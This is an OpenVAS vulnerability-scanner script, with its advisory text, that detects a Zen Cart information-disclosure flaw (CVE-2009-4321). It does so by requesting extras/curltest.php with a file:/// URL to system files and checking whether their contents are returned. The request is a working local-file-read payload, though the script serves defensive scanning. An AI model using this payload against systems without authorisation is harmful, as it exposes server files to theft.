Zen Cart is prone to an information-disclosure vulnerability because
it fails to sufficiently sanitize user-supplied data.
An attacker can exploit this issue to view local files in the context
of the webserver process. This may allow the attacker to obtain
sensitive information; other attacks are also possible.
###############################################################################
# OpenVAS Vulnerability Test
# $Id: zen_cart_37283.nasl 7577 2017-10-26 10:41:56Z cfischer $
#
# Zen Cart 'extras/curltest.php' Information Disclosure Vulnerability
#
# Authors:
# Michael Meyer
#
# Copyright:
# Copyright (c) 2009 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################
tag_summary = "Zen Cart is prone to an information-disclosure vulnerability because
it fails to sufficiently sanitize user-supplied data.
An attacker can exploit this issue to view local files in the context
of the webserver process. This may allow the attacker to obtain
sensitive information; other attacks are also possible.";
if(description)
{
script_id(100402);
script_version("$Revision: 7577 $");
script_tag(name:"last_modification", value:"$Date: 2017-10-26 12:41:56 +0200 (Thu, 26 Oct 2017) $");
script_tag(name:"creation_date", value:"2009-12-16 12:39:06 +0100 (Wed, 16 Dec 2009)");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
script_cve_id("CVE-2009-4321");
script_bugtraq_id(37283);
script_name("Zen Cart 'extras/curltest.php' Information Disclosure Vulnerability");
script_xref(name : "URL" , value : "http://www.securityfocus.com/bid/37283");
script_xref(name : "URL" , value : "http://www.acunetix.com/blog/websecuritynews/acusensor-curl-and-zen-cart/");
script_xref(name : "URL" , value : "http://www.zen-cart.com/forum/showthread.php?t=142784");
script_xref(name : "URL" , value : "http://www.zen-cart.com/");
script_tag(name:"qod_type", value:"remote_vul");
script_category(ACT_ATTACK);
script_family("Web application abuses");
script_copyright("This script is Copyright (C) 2009 Greenbone Networks GmbH");
script_dependencies("find_service.nasl", "http_version.nasl", "os_detection.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
script_tag(name : "summary" , value : tag_summary);
exit(0);
}
include("misc_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
port = get_http_port(default:80);
if(!can_host_php(port:port))exit(0);
files = traversal_files();
foreach dir( make_list_unique( "/zen-cart", "/zencart", "/cart", cgi_dirs( port:port ) ) ) {
if( dir == "/" ) dir = "";
foreach file (keys(files)) {
url = string(dir, "/extras/curltest.php?url=file:///", files[file]);
if(http_vuln_check(port:port, url:url,pattern:file)) {
report = report_vuln_url( port:port, url:url );
security_message( port:port, data:report );
exit( 0 );
}
}
}
exit( 99 );